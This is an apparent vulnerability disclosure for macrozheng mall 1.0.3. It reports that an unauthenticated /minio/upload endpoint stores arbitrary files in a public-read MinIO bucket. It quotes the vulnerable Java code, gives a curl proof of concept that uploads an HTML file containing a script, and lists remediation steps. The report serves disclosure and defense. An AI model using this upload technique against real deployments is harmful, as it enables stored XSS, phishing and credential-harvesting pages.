| Title | macrozheng mall 1.0.3 Reliance on File Name or Extension of Externally-Supplied File |
|---|
| Description | A vulnerability was found in macrozheng mall up to 1.0.3. Affected is the function upload of the file /minio/upload of the component MinIO File Upload. Performing manipulation of the argument file results in unrestricted file upload to a publicly readable object store. The attack can be initiated remotely without any authentication. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.
TECHNICAL DETAILS
Vulnerability type: CWE-434 Unrestricted Upload of File with Dangerous Type.
Affected endpoint: POST /mall-admin/minio/upload (service: mall-admin)
The upload endpoint of the mall-admin service is listed in the secure.ignored.urls permitAll whitelist, so it is reachable without authentication. MinioController.upload stores the attacker-supplied file under the object name yyyyMMdd/<originalFilename> with no extension, MIME type or content validation, and the target bucket is auto-created with a public-read policy (Principal "*", Action s3:GetObject). An unauthenticated remote attacker can therefore upload arbitrary HTML or JavaScript and retrieve it publicly with the original active content, enabling phishing, credential-harvesting pages, malicious script delivery and content spoofing under the configured MinIO origin.
Entry point:
@Operation(summary = "文件上传")
@PostMapping(value = "/upload", consumes = MediaType.MULTIPART_FORM_DATA_VALUE)
@ResponseBody
public CommonResult upload(@RequestPart("file") MultipartFile file) {
Because /minio/upload is in the secure.ignored.urls whitelist, the request reaches this handler without any authentication.
The handler builds the object name from the original filename with no sanitization and no extension or content-type allow-list:
String filename = file.getOriginalFilename();
SimpleDateFormat sdf = new SimpleDateFormat("yyyyMMdd");
String objectName = sdf.format(new Date()) + "/" + filename;
PutObjectArgs putObjectArgs = PutObjectArgs.builder()
.bucket(BUCKET_NAME)
.object(objectName)
.contentType(file.getContentType())
.stream(file.getInputStream(), file.getSize(), ObjectWriteArgs.MIN_MULTIPART_SIZE).build();
minioClient.putObject(putObjectArgs);
The content type is taken directly from the client-supplied file.getContentType() and stored as-is. There is no check on the file extension, the MIME type or the file contents. The only size limit is the global spring.servlet.multipart.max-file-size of 10 MB, which does not restrict the file type.
The bucket is created with a public-read policy when it does not yet exist:
private BucketPolicyConfigDto createBucketPolicyConfigDto(String bucketName) {
BucketPolicyConfigDto.Statement statement = BucketPolicyConfigDto.Statement.builder()
.Effect("Allow")
.Principal("*")
.Action("s3:GetObject")
.Resource("arn:aws:s3:::"+bucketName+"/*.**").build();
return BucketPolicyConfigDto.builder()
.Version("2012-10-17")
.Statement(CollUtil.toList(statement))
.build();
}
This grants s3:GetObject to Principal "*", meaning any anonymous reader, over the resource pattern arn:aws:s3:::mall/*.**. The literal resource pattern *.** was confirmed in the validated bucket-policy output. The policy is applied at MinioController.java:56-62 via setBucketPolicy.
The decisive failure is the combination of three facts: the endpoint is unauthenticated, the upload accepts any file type, and the bucket is public-read.
PROOF OF CONCEPT
The uploaded file malicious.html contains an active script payload:
<html><head><title>MALL-CWE-434-PROOF</title></head>
<body><script>document.write('MALL-CWE-434-UPLOADED-UNRESTRICTED-'+Date.now())</script></body></html>
The upload is performed with no authentication header:
curl -s -i -F "file=@poc/malicious.html;type=text/html" http://127.0.0.1:8080/minio/upload
Observed response:
HTTP/1.1 200
Content-Type: application/json
{"code":200,"message":"操作成功","data":{"url":"http://localhost:9000/mall/20260824/malicious.html","name":"malicious.html"}}
An anonymous GET of the returned URL serves the object with its original active content:
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 155
<html><head><title>MALL-CWE-434-PROOF</title></head>
<body><script>document.write('MALL-CWE-434-UPLOADED-UNRESTRICTED-'+Date.now())</script></body></html>
The Content-Type: text/html and the intact <script> payload confirm the object is served publicly with active content. The bucket policy was confirmed with: mc anonymous get-json local/mall
IMPACT
Because the upload accepts any file type with no extension or content-type allow-list, an unauthenticated attacker can place an arbitrary file into the public-read bucket and retrieve it at a predictable public URL with its original content and attacker-chosen content type. A victim who opens such a URL in a browser renders attacker-controlled content under the application's object-store origin, which enables stored XSS, phishing pages, credential-harvesting pages and malicious JavaScript delivery from a host that users associate with the application.
REMEDIATION
1. Remove /minio/upload from the secure.ignored.urls permitAll whitelist and require authentication (ideally admin authorization) for uploads.
2. Validate the uploaded file: enforce an extension and MIME type allow-list, reject HTML/JavaScript/SVG and other active content types, and detect active content by file signature regardless of the declared content type.
3. Do not auto-create the bucket with a public-read policy. Configure the bucket as private and serve objects through an authenticated, content-security-policy-enforcing gateway, or apply a restrictive bucket policy that grants access only to authenticated application principals.
4. Force a safe, fixed content type (e.g. application/octet-stream) and Content-Disposition: attachment for user-uploaded objects.
REFERENCES
- Repository: https://github.com/macrozheng/mall
- Issue: https://github.com/macrozheng/mall/issues/996 |
|---|
| Source | ⚠️ https://github.com/macrozheng/mall/issues/996 |
|---|
| User | CyanM0un (UID 99906) |
|---|
| Submission | 08/30/2026 15:23 (1 month ago) |
|---|
| Moderation | 10/04/2026 04:45 (1 month later) |
|---|
| Status | Duplicate |
|---|
| VulDB entry | 319243 [macrozheng mall up to 1.0.3 Add Product Page /minio/upload file cross site scripting] |
|---|
| Points | 0 |
|---|